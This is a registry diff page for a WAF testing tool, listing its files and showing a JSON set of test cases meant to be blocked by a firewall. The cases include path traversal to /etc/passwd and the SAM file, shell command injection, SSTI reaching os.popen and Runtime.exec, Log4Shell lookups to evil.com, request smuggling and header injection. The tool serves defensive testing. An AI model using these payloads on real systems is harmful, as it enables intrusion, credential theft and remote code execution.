@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,952 @@
1
+ [
2
+ {
3
+ "id": "CUSTOM-9999001-001",
4
+ "payload": "GET /api/../../../etc/passwd",
5
+ "tags": ["custom-rule", "traversal", "quick", "rule-9999001"],
6
+ "expected_block": true,
7
+ "severity_hint": "Critical",
8
+ "notes": "Custom rule 9999001: Path traversal with ../",
9
+ "category": "WAF-Validation",
10
+ "custom_rule": "9999001"
11
+ },
12
+ {
13
+ "id": "CUSTOM-9999001-002",
14
+ "payload": "GET /api/..%2F..%2F..%2Fetc/passwd",
15
+ "tags": ["custom-rule", "traversal", "quick", "rule-9999001"],
16
+ "expected_block": true,
17
+ "severity_hint": "Critical",
18
+ "notes": "Custom rule 9999001: URL-encoded path traversal",
19
+ "category": "WAF-Validation",
20
+ "custom_rule": "9999001"
21
+ },
22
+ {
23
+ "id": "CUSTOM-9999001-003",
24
+ "payload": "GET /api/..\\..\\..\\windows\\system32\\config\\sam",
25
+ "tags": ["custom-rule", "traversal", "quick", "rule-9999001"],
26
+ "expected_block": true,
27
+ "severity_hint": "Critical",
28
+ "notes": "Custom rule 9999001: Windows-style backslash traversal",
29
+ "category": "WAF-Validation",
30
+ "custom_rule": "9999001"
31
+ },
32
+ {
33
+ "id": "CUSTOM-9999002-001",
34
+ "payload": "GET /api?cmd=;id",
35
+ "tags": ["custom-rule", "rce", "quick", "rule-9999002"],
36
+ "expected_block": true,
37
+ "severity_hint": "Critical",
38
+ "notes": "Custom rule 9999002: Semicolon command injection",
39
+ "category": "WAF-Validation",
40
+ "custom_rule": "9999002"
41
+ },
42
+ {
43
+ "id": "CUSTOM-9999002-002",
44
+ "payload": "GET /api?cmd=|cat /etc/passwd",
45
+ "tags": ["custom-rule", "rce", "quick", "rule-9999002"],
46
+ "expected_block": true,
47
+ "severity_hint": "Critical",
48
+ "notes": "Custom rule 9999002: Pipe command injection",
49
+ "category": "WAF-Validation",
50
+ "custom_rule": "9999002"
51
+ },
52
+ {
53
+ "id": "CUSTOM-9999002-003",
54
+ "payload": "GET /api?cmd=`whoami`",
55
+ "tags": ["custom-rule", "rce", "quick", "rule-9999002"],
56
+ "expected_block": true,
57
+ "severity_hint": "Critical",
58
+ "notes": "Custom rule 9999002: Backtick command substitution",
59
+ "category": "WAF-Validation",
60
+ "custom_rule": "9999002"
61
+ },
62
+ {
63
+ "id": "CUSTOM-9999002-004",
64
+ "payload": "GET /api?cmd=$(id)",
65
+ "tags": ["custom-rule", "rce", "quick", "rule-9999002"],
66
+ "expected_block": true,
67
+ "severity_hint": "Critical",
68
+ "notes": "Custom rule 9999002: $() command substitution",
69
+ "category": "WAF-Validation",
70
+ "custom_rule": "9999002"
71
+ },
72
+ {
73
+ "id": "CUSTOM-9999002-005",
74
+ "payload": "GET /api?cmd=${PATH}",
75
+ "tags": ["custom-rule", "rce", "quick", "rule-9999002"],
76
+ "expected_block": true,
77
+ "severity_hint": "Critical",
78
+ "notes": "Custom rule 9999002: ${} variable expansion",
79
+ "category": "WAF-Validation",
80
+ "custom_rule": "9999002"
81
+ },
82
+ {
83
+ "id": "CUSTOM-9999002-006",
84
+ "payload": "GET /api?cmd=a&&id",
85
+ "tags": ["custom-rule", "rce", "quick", "rule-9999002"],
86
+ "expected_block": true,
87
+ "severity_hint": "Critical",
88
+ "notes": "Custom rule 9999002: && command chaining",
89
+ "category": "WAF-Validation",
90
+ "custom_rule": "9999002"
91
+ },
92
+ {
93
+ "id": "CUSTOM-9999002-007",
94
+ "payload": "GET /api?cmd=a||id",
95
+ "tags": ["custom-rule", "rce", "quick", "rule-9999002"],
96
+ "expected_block": true,
97
+ "severity_hint": "Critical",
98
+ "notes": "Custom rule 9999002: || command chaining",
99
+ "category": "WAF-Validation",
100
+ "custom_rule": "9999002"
101
+ },
102
+ {
103
+ "id": "CUSTOM-9999003-001",
104
+ "payload": "GET /webhook/test%00malicious",
105
+ "tags": ["custom-rule", "null-byte", "quick", "rule-9999003"],
106
+ "expected_block": true,
107
+ "severity_hint": "High",
108
+ "notes": "Custom rule 9999003: Null byte in webhook path",
109
+ "category": "WAF-Validation",
110
+ "custom_rule": "9999003"
111
+ },
112
+ {
113
+ "id": "CUSTOM-9999004-001",
114
+ "payload": "GET /api/assets/../../../etc/passwd",
115
+ "tags": ["custom-rule", "traversal", "immich", "quick", "rule-9999004"],
116
+ "expected_block": true,
117
+ "severity_hint": "Critical",
118
+ "notes": "Custom rule 9999004: Immich asset path traversal",
119
+ "category": "WAF-Validation",
120
+ "custom_rule": "9999004"
121
+ },
122
+ {
123
+ "id": "CUSTOM-9999006-001",
124
+ "payload": "GET / HTTP/1.1\r\nHost: evil.com",
125
+ "tags": ["custom-rule", "dns-rebinding", "quick", "rule-9999006"],
126
+ "expected_block": true,
127
+ "severity_hint": "High",
128
+ "notes": "Custom rule 9999006: Invalid host header",
129
+ "category": "WAF-Validation",
130
+ "custom_rule": "9999006"
131
+ },
132
+ {
133
+ "id": "CUSTOM-9999006-002",
134
+ "payload": "GET / HTTP/1.1\r\nHost: attacker.example.com.evil.com",
135
+ "tags": ["custom-rule", "dns-rebinding", "quick", "rule-9999006"],
136
+ "expected_block": true,
137
+ "severity_hint": "High",
138
+ "notes": "Custom rule 9999006: Subdomain confusion attack",
139
+ "category": "WAF-Validation",
140
+ "custom_rule": "9999006"
141
+ },
142
+ {
143
+ "id": "CUSTOM-9999007-001",
144
+ "payload": "POST /api/data HTTP/1.1\r\nX-HTTP-Method-Override: DELETE",
145
+ "tags": ["custom-rule", "method-override", "quick", "rule-9999007"],
146
+ "expected_block": true,
147
+ "severity_hint": "Medium",
148
+ "notes": "Custom rule 9999007: HTTP method override via X-HTTP-Method-Override",
149
+ "category": "WAF-Validation",
150
+ "custom_rule": "9999007"
151
+ },
152
+ {
153
+ "id": "CUSTOM-9999007-002",
154
+ "payload": "POST /api/data HTTP/1.1\r\nX-HTTP-Method: PUT",
155
+ "tags": ["custom-rule", "method-override", "rule-9999007"],
156
+ "expected_block": true,
157
+ "severity_hint": "Medium",
158
+ "notes": "Custom rule 9999007: HTTP method override via X-HTTP-Method",
159
+ "category": "WAF-Validation",
160
+ "custom_rule": "9999007"
161
+ },
162
+ {
163
+ "id": "CUSTOM-9999007-003",
164
+ "payload": "POST /api/data HTTP/1.1\r\nX-Method-Override: PATCH",
165
+ "tags": ["custom-rule", "method-override", "rule-9999007"],
166
+ "expected_block": true,
167
+ "severity_hint": "Medium",
168
+ "notes": "Custom rule 9999007: HTTP method override via X-Method-Override",
169
+ "category": "WAF-Validation",
170
+ "custom_rule": "9999007"
171
+ },
172
+ {
173
+ "id": "CUSTOM-9999008-001",
174
+ "payload": "GET /api?input={{config.__class__.__mro__}}",
175
+ "tags": ["custom-rule", "ssti", "quick", "rule-9999008"],
176
+ "expected_block": true,
177
+ "severity_hint": "Critical",
178
+ "notes": "Custom rule 9999008: Jinja2 SSTI via __class__.__mro__",
179
+ "category": "WAF-Validation",
180
+ "custom_rule": "9999008"
181
+ },
182
+ {
183
+ "id": "CUSTOM-9999008-002",
184
+ "payload": "GET /api?input={{self.__class__.__subclasses__()}}",
185
+ "tags": ["custom-rule", "ssti", "quick", "rule-9999008"],
186
+ "expected_block": true,
187
+ "severity_hint": "Critical",
188
+ "notes": "Custom rule 9999008: Jinja2 SSTI via __subclasses__",
189
+ "category": "WAF-Validation",
190
+ "custom_rule": "9999008"
191
+ },
192
+ {
193
+ "id": "CUSTOM-9999008-003",
194
+ "payload": "GET /api?input={{request.__class__.__builtins__.__import__('os').popen('id')}}",
195
+ "tags": ["custom-rule", "ssti", "rule-9999008"],
196
+ "expected_block": true,
197
+ "severity_hint": "Critical",
198
+ "notes": "Custom rule 9999008: Jinja2 SSTI RCE via __builtins__",
199
+ "category": "WAF-Validation",
200
+ "custom_rule": "9999008"
201
+ },
202
+ {
203
+ "id": "CUSTOM-9999008-004",
204
+ "payload": "GET /api?input={%import os%}{{os.popen('id').read()}}",
205
+ "tags": ["custom-rule", "ssti", "rule-9999008"],
206
+ "expected_block": true,
207
+ "severity_hint": "Critical",
208
+ "notes": "Custom rule 9999008: Twig SSTI via {%import%}",
209
+ "category": "WAF-Validation",
210
+ "custom_rule": "9999008"
211
+ },
212
+ {
213
+ "id": "CUSTOM-9999008-005",
214
+ "payload": "GET /api?input=${T(java.lang.Runtime).getRuntime().exec('id')}",
215
+ "tags": ["custom-rule", "ssti", "rule-9999008"],
216
+ "expected_block": true,
217
+ "severity_hint": "Critical",
218
+ "notes": "Custom rule 9999008: Spring SpEL SSTI",
219
+ "category": "WAF-Validation",
220
+ "custom_rule": "9999008"
221
+ },
222
+ {
223
+ "id": "CUSTOM-9999020-001",
224
+ "payload": "{\"__proto__\":{\"isAdmin\":true}}",
225
+ "tags": ["custom-rule", "prototype-pollution", "quick", "rule-9999020"],
226
+ "expected_block": true,
227
+ "severity_hint": "Critical",
228
+ "notes": "Custom rule 9999020: Prototype pollution via __proto__",
229
+ "category": "WAF-Validation",
230
+ "custom_rule": "9999020"
231
+ },
232
+ {
233
+ "id": "CUSTOM-9999020-002",
234
+ "payload": "{\"constructor\":{\"prototype\":{\"polluted\":true}}}",
235
+ "tags": ["custom-rule", "prototype-pollution", "quick", "rule-9999020"],
236
+ "expected_block": true,
237
+ "severity_hint": "Critical",
238
+ "notes": "Custom rule 9999020: Prototype pollution via constructor.prototype",
239
+ "category": "WAF-Validation",
240
+ "custom_rule": "9999020"
241
+ },
242
+ {
243
+ "id": "CUSTOM-9999020-003",
244
+ "payload": "GET /api?obj[constructor][prototype][admin]=1",
245
+ "tags": ["custom-rule", "prototype-pollution", "rule-9999020"],
246
+ "expected_block": true,
247
+ "severity_hint": "Critical",
248
+ "notes": "Custom rule 9999020: Query string prototype pollution",
249
+ "category": "WAF-Validation",
250
+ "custom_rule": "9999020"
251
+ },
252
+ {
253
+ "id": "CUSTOM-9999021-001",
254
+ "payload": "${jndi:ldap://evil.com/a}",
255
+ "tags": ["custom-rule", "log4shell", "quick", "rule-9999021"],
256
+ "expected_block": true,
257
+ "severity_hint": "Critical",
258
+ "notes": "Custom rule 9999021: Log4Shell basic JNDI LDAP",
259
+ "category": "WAF-Validation",
260
+ "custom_rule": "9999021"
261
+ },
262
+ {
263
+ "id": "CUSTOM-9999021-002",
264
+ "payload": "${jndi:rmi://evil.com/a}",
265
+ "tags": ["custom-rule", "log4shell", "quick", "rule-9999021"],
266
+ "expected_block": true,
267
+ "severity_hint": "Critical",
268
+ "notes": "Custom rule 9999021: Log4Shell JNDI RMI",
269
+ "category": "WAF-Validation",
270
+ "custom_rule": "9999021"
271
+ },
272
+ {
273
+ "id": "CUSTOM-9999021-003",
274
+ "payload": "${${lower:j}ndi:ldap://evil.com/a}",
275
+ "tags": ["custom-rule", "log4shell", "evasion", "rule-9999021"],
276
+ "expected_block": true,
277
+ "severity_hint": "Critical",
278
+ "notes": "Custom rule 9999021: Log4Shell with ${lower:} evasion",
279
+ "category": "WAF-Validation",
280
+ "custom_rule": "9999021"
281
+ },
282
+ {
283
+ "id": "CUSTOM-9999021-004",
284
+ "payload": "${${upper:j}${upper:n}${upper:d}${upper:i}:ldap://evil.com/a}",
285
+ "tags": ["custom-rule", "log4shell", "evasion", "rule-9999021"],
286
+ "expected_block": true,
287
+ "severity_hint": "Critical",
288
+ "notes": "Custom rule 9999021: Log4Shell with ${upper:} evasion",
289
+ "category": "WAF-Validation",
290
+ "custom_rule": "9999021"
291
+ },
292
+ {
293
+ "id": "CUSTOM-9999021-005",
294
+ "payload": "${${env:BARFOO:-j}ndi${env:BARFOO:-:}ldap://evil.com/a}",
295
+ "tags": ["custom-rule", "log4shell", "evasion", "rule-9999021"],
296
+ "expected_block": true,
297
+ "severity_hint": "Critical",
298
+ "notes": "Custom rule 9999021: Log4Shell with ${env:} evasion",
299
+ "category": "WAF-Validation",
300
+ "custom_rule": "9999021"
301
+ },
302
+ {
303
+ "id": "CUSTOM-9999022-001",
304
+ "payload": "GET /admin%09",
305
+ "tags": ["custom-rule", "path-confusion", "quick", "rule-9999022"],
306
+ "expected_block": true,
307
+ "severity_hint": "High",
308
+ "notes": "Custom rule 9999022: Tab character in URI (%09)",
309
+ "category": "WAF-Validation",
310
+ "custom_rule": "9999022"
311
+ },
312
+ {
313
+ "id": "CUSTOM-9999022-002",
314
+ "payload": "GET /admin%0C",
315
+ "tags": ["custom-rule", "path-confusion", "rule-9999022"],
316
+ "expected_block": true,
317
+ "severity_hint": "High",
318
+ "notes": "Custom rule 9999022: Form-feed character in URI (%0C)",
319
+ "category": "WAF-Validation",
320
+ "custom_rule": "9999022"
321
+ },
322
+ {
323
+ "id": "CUSTOM-9999023-001",
324
+ "payload": "GET /admin;/config",
325
+ "tags": ["custom-rule", "path-confusion", "quick", "rule-9999023"],
326
+ "expected_block": true,
327
+ "severity_hint": "High",
328
+ "notes": "Custom rule 9999023: Semicolon in path (Spring Boot bypass)",
329
+ "category": "WAF-Validation",
330
+ "custom_rule": "9999023"
331
+ },
332
+ {
333
+ "id": "CUSTOM-9999023-002",
334
+ "payload": "GET /admin;.js",
335
+ "tags": ["custom-rule", "path-confusion", "rule-9999023"],
336
+ "expected_block": true,
337
+ "severity_hint": "High",
338
+ "notes": "Custom rule 9999023: Semicolon extension bypass",
339
+ "category": "WAF-Validation",
340
+ "custom_rule": "9999023"
341
+ },
342
+ {
343
+ "id": "CUSTOM-9999024-001",
344
+ "payload": "GET /api?path=%252e%252e%252f",
345
+ "tags": ["custom-rule", "double-encoding", "quick", "rule-9999024"],
346
+ "expected_block": true,
347
+ "severity_hint": "High",
348
+ "notes": "Custom rule 9999024: Double URL-encoded ../",
349
+ "category": "WAF-Validation",
350
+ "custom_rule": "9999024"
351
+ },
352
+ {
353
+ "id": "CUSTOM-9999024-002",
354
+ "payload": "GET /api?path=%253a%252f%252f",
355
+ "tags": ["custom-rule", "double-encoding", "rule-9999024"],
356
+ "expected_block": true,
357
+ "severity_hint": "High",
358
+ "notes": "Custom rule 9999024: Double URL-encoded ://",
359
+ "category": "WAF-Validation",
360
+ "custom_rule": "9999024"
361
+ },
362
+ {
363
+ "id": "CUSTOM-9999025-001",
364
+ "payload": "GET /api?q=%EF%BC%9Cscript%EF%BC%9E",
365
+ "tags": ["custom-rule", "unicode-bypass", "quick", "rule-9999025"],
366
+ "expected_block": true,
367
+ "severity_hint": "High",
368
+ "notes": "Custom rule 9999025: Full-width < and > characters",
369
+ "category": "WAF-Validation",
370
+ "custom_rule": "9999025"
371
+ },
372
+ {
373
+ "id": "CUSTOM-9999025-002",
374
+ "payload": "GET /api?q=%EF%BD%81%EF%BD%84%EF%BD%8D%EF%BD%89%EF%BD%8E",
375
+ "tags": ["custom-rule", "unicode-bypass", "rule-9999025"],
376
+ "expected_block": true,
377
+ "severity_hint": "High",
378
+ "notes": "Custom rule 9999025: Full-width 'admin' characters",
379
+ "category": "WAF-Validation",
380
+ "custom_rule": "9999025"
381
+ },
382
+ {
383
+ "id": "CUSTOM-9999026-001",
384
+ "payload": "GET /api?path=%c0%ae%c0%ae/etc/passwd",
385
+ "tags": ["custom-rule", "overlong-utf8", "quick", "rule-9999026"],
386
+ "expected_block": true,
387
+ "severity_hint": "Critical",
388
+ "notes": "Custom rule 9999026: Overlong UTF-8 encoded .. (CVE-2000-0884)",
389
+ "category": "WAF-Validation",
390
+ "custom_rule": "9999026"
391
+ },
392
+ {
393
+ "id": "CUSTOM-9999026-002",
394
+ "payload": "GET /api?path=%c1%9c",
395
+ "tags": ["custom-rule", "overlong-utf8", "rule-9999026"],
396
+ "expected_block": true,
397
+ "severity_hint": "Critical",
398
+ "notes": "Custom rule 9999026: Overlong UTF-8 backslash",
399
+ "category": "WAF-Validation",
400
+ "custom_rule": "9999026"
401
+ },
402
+ {
403
+ "id": "CUSTOM-9999027-001",
404
+ "payload": "POST /api HTTP/1.1\r\nTransfer-Encoding: chunked, identity",
405
+ "tags": ["custom-rule", "http-smuggling", "quick", "rule-9999027"],
406
+ "expected_block": true,
407
+ "severity_hint": "Critical",
408
+ "notes": "Custom rule 9999027: TE obfuscation with multiple values",
409
+ "category": "WAF-Validation",
410
+ "custom_rule": "9999027"
411
+ },
412
+ {
413
+ "id": "CUSTOM-9999027-002",
414
+ "payload": "POST /api HTTP/1.1\r\nTransfer-Encoding: xchunked",
415
+ "tags": ["custom-rule", "http-smuggling", "rule-9999027"],
416
+ "expected_block": true,
417
+ "severity_hint": "Critical",
418
+ "notes": "Custom rule 9999027: TE obfuscation xchunked",
419
+ "category": "WAF-Validation",
420
+ "custom_rule": "9999027"
421
+ },
422
+ {
423
+ "id": "CUSTOM-9999030-001",
424
+ "payload": "GET / HTTP/1.1\r\nHost: example.com\r\nHost: evil.com",
425
+ "tags": ["custom-rule", "host-injection", "quick", "rule-9999030"],
426
+ "expected_block": true,
427
+ "severity_hint": "High",
428
+ "notes": "Custom rule 9999030: Multiple Host headers",
429
+ "category": "WAF-Validation",
430
+ "custom_rule": "9999030"
431
+ },
432
+ {
433
+ "id": "CUSTOM-9999031-001",
434
+ "payload": "GET / HTTP/1.1\r\nHost: example.com\r\nX-Forwarded-Host: evil.com",
435
+ "tags": ["custom-rule", "host-injection", "quick", "rule-9999031"],
436
+ "expected_block": true,
437
+ "severity_hint": "High",
438
+ "notes": "Custom rule 9999031: X-Forwarded-Host injection",
439
+ "category": "WAF-Validation",
440
+ "custom_rule": "9999031"
441
+ },
442
+ {
443
+ "id": "CUSTOM-9999032-001",
444
+ "payload": "GET / HTTP/1.1\r\nHost: example.com%0d%0aX-Injected: header",
445
+ "tags": ["custom-rule", "crlf-injection", "quick", "rule-9999032"],
446
+ "expected_block": true,
447
+ "severity_hint": "Critical",
448
+ "notes": "Custom rule 9999032: CRLF injection in Host header",
449
+ "category": "WAF-Validation",
450
+ "custom_rule": "9999032"
451
+ },
452
+ {
453
+ "id": "CUSTOM-9999033-001",
454
+ "payload": "GET / HTTP/1.1\r\nHost: example.com.evil.com",
455
+ "tags": ["custom-rule", "host-spoofing", "quick", "rule-9999033"],
456
+ "expected_block": true,
457
+ "severity_hint": "High",
458
+ "notes": "Custom rule 9999033: Host header subdomain spoofing",
459
+ "category": "WAF-Validation",
460
+ "custom_rule": "9999033"
461
+ },
462
+ {
463
+ "id": "CUSTOM-9999034-001",
464
+ "payload": "GET /admin%A0",
465
+ "tags": ["custom-rule", "acl-bypass", "quick", "rule-9999034"],
466
+ "expected_block": true,
467
+ "severity_hint": "High",
468
+ "notes": "Custom rule 9999034: Non-breaking space nginx ACL bypass",
469
+ "category": "WAF-Validation",
470
+ "custom_rule": "9999034"
471
+ },
472
+ {
473
+ "id": "CUSTOM-9999035-001",
474
+ "payload": "GET /admin.php%00.jpg",
475
+ "tags": ["custom-rule", "null-byte", "quick", "rule-9999035"],
476
+ "expected_block": true,
477
+ "severity_hint": "High",
478
+ "notes": "Custom rule 9999035: Null byte injection for extension bypass",
479
+ "category": "WAF-Validation",
480
+ "custom_rule": "9999035"
481
+ },
482
+ {
483
+ "id": "CUSTOM-9999036-001",
484
+ "payload": "GET /admin.php/index.php",
485
+ "tags": ["custom-rule", "php-bypass", "quick", "rule-9999036"],
486
+ "expected_block": true,
487
+ "severity_hint": "High",
488
+ "notes": "Custom rule 9999036: PHP-FPM ACL bypass via nested PHP path",
489
+ "category": "WAF-Validation",
490
+ "custom_rule": "9999036"
491
+ },
492
+ {
493
+ "id": "CUSTOM-9999037-001",
494
+ "payload": "GET /api?id=1+un/**/ion+sel/**/ect+1,2,3--",
495
+ "tags": ["custom-rule", "waf-bypass", "quick", "rule-9999037"],
496
+ "expected_block": true,
497
+ "severity_hint": "High",
498
+ "notes": "Custom rule 9999037: SQL comment-based WAF bypass",
499
+ "category": "WAF-Validation",
500
+ "custom_rule": "9999037"
501
+ },
502
+ {
503
+ "id": "CUSTOM-9999037-002",
504
+ "payload": "GET /api?q=<!--><script>alert/**/()/**/</script>",
505
+ "tags": ["custom-rule", "waf-bypass", "rule-9999037"],
506
+ "expected_block": true,
507
+ "severity_hint": "High",
508
+ "notes": "Custom rule 9999037: HTML comment XSS bypass",
509
+ "category": "WAF-Validation",
510
+ "custom_rule": "9999037"
511
+ },
512
+ {
513
+ "id": "CUSTOM-9999038-001",
514
+ "payload": "GET / HTTP/0.9",
515
+ "tags": ["custom-rule", "protocol-downgrade", "quick", "rule-9999038"],
516
+ "expected_block": true,
517
+ "severity_hint": "Medium",
518
+ "notes": "Custom rule 9999038: HTTP/0.9 protocol downgrade",
519
+ "category": "WAF-Validation",
520
+ "custom_rule": "9999038"
521
+ },
522
+ {
523
+ "id": "CUSTOM-9999039-001",
524
+ "payload": "get /login HTTP/1.1",
525
+ "tags": ["custom-rule", "method-bypass", "quick", "rule-9999039"],
526
+ "expected_block": true,
527
+ "severity_hint": "Low",
528
+ "notes": "Custom rule 9999039: Lowercase HTTP method bypass",
529
+ "category": "WAF-Validation",
530
+ "custom_rule": "9999039"
531
+ },
532
+ {
533
+ "id": "CUSTOM-9999040-001",
534
+ "payload": " GET /login HTTP/1.1",
535
+ "tags": ["custom-rule", "whitespace-bypass", "quick", "rule-9999040"],
536
+ "expected_block": true,
537
+ "severity_hint": "Low",
538
+ "notes": "Custom rule 9999040: Leading whitespace in request line",
539
+ "category": "WAF-Validation",
540
+ "custom_rule": "9999040"
541
+ },
542
+ {
543
+ "id": "CUSTOM-9999041-001",
544
+ "payload": "GET / HTTP/1.1\r\nX-Query: value\r\n\t' OR '1'='1",
545
+ "tags": ["custom-rule", "line-folding", "quick", "rule-9999041"],
546
+ "expected_block": true,
547
+ "severity_hint": "High",
548
+ "notes": "Custom rule 9999041: HTTP header line folding bypass",
549
+ "category": "WAF-Validation",
550
